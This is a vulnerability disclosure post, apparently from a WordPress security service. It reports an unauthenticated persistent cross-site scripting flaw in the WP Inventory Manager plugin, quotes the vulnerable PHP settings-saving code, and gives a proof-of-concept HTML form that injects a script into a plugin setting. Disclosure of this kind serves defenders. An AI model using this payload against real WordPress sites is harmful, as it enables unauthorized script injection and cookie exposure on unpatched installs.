15 Apr

Persistent Cross-Site Scripting (XSS) Vulnerability in WP Inventory Manager

One of the changelog entries for the latest version of WP Inventory Manager
is “Address security data sanitization in various $_POST, $_GET, $_REQUEST.” When we went to look at that change to see if there was a vulnerability we should add to our data set we noticed the two latest log entries for the plugin in the Subversion repository, which underlies the WordPress Plugin Directory, were “Updating to 1.7.9 for wordpress team review” and “Update for Plugin Review Team”. It’s not clear what that refers to, but when we went to look to see about the changes made, it looked like security changes related to the plugin’s settings had been made, so we installed the previous version of the plugin and started looking to see if looked like there was previously a vulnerability. What we saw is that there still looked to be a vulnerability, since the changes made didn’t seem to fix an issue we saw. When we went to look further we had a hard time finding the code related to the vulnerability and when we finally did we found that the situation was worse, as you don’t even need to be logged in to change the plugin’s settings and through that you can cause persistent cross-site scripting (XSS).

The code that starts this is a bit complicated, so we will skip a bit to the function admin_init() in the file /includes/wpinventory.admin.class.php, which runs during admin_init. That will run even not logged in when accessing the page /wp-admin/admin-post.php. Here is the beginning of that function:

public function admin_init() {
	$page = self::request( 'page' );
	self::handle_filter_state( $page );
	if ( 'wpim_manage_settings' !== $page ) {
	$action = self::get_action();
	if ( 'save' == $action || 'save-force' == $action ) {
		if ( self::save_settings() ) {

That code will run the function save_settings() if the GET or POST input “page” is set to wpim_manage_settings and the GET or POST input “action” is set to save.

That function will save new values for the settings without sanitizing the user input first:

private static function save_settings() {
	$settings = self::getOptions();
	foreach ( $settings AS $field => $value ) {
		 * TODO:  This needs reworked because it ONLY fires when a field is set. An empty checkbox will not be updated here.  This pertains to PT ticket ID#  #163400170
		if ( isset( $_POST[ $field ] ) ) {
			self::updateOption( $field, $_POST[ $field ] );

What is missing in that code is a capabilities check to limit who can access the settings saving functionality, a check for a valid nonce to prevent cross-site request forgery (CSRF), and sanitation when updating the settings.

As the proof of concept below shows, at least one setting is then output without being escaped, which is a persistent XSS vulnerability.

Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then only trying to notify the developer through the WordPress Support Forum. You can notify the developer of this issue on the forum as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that since multiple previously full disclosed vulnerabilities were quickly on hackers’ radar, but it appears those moderators have such disdain for the rest of the WordPress community that their continued ability to act inappropriate is more important that what is best for the rest of the community.

Proof of Concept

The following proof of concept will cause an alert box with any available cookies to be shown when visiting the plugin’s setting page, /wp-admin/admin.php?page=wpim_manage_settings.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<form action="http://[path to WordPress]/wp-admin/admin-post.php?page=wpim_manage_settings" method="POST">
<input type="hidden" name="action" value="save" />
<input type="hidden" name="reserve_email" value='"><script>alert(document.cookie);</script>' />
<input type="submit" value="Submit" />

Is It Fixed?

If you are reading this post down the road the best way to find out if this vulnerability or other WordPress plugin vulnerabilities in plugins you use have been fixed is to sign up for our service, since what we uniquely do when it comes to that type of data is to test to see if vulnerabilities have really been fixed. Relying on the developer’s information, can lead you astray, as we often find that they believe they have fixed vulnerabilities, but have failed to do that.

Concerned About The Security of the Plugins You Use?

When you are a paying customer of our service, you can suggest/vote for the WordPress plugins you use to receive a security review from us. You can start using the service for free when you sign up now. We also offer security reviews of WordPress plugins as a separate service.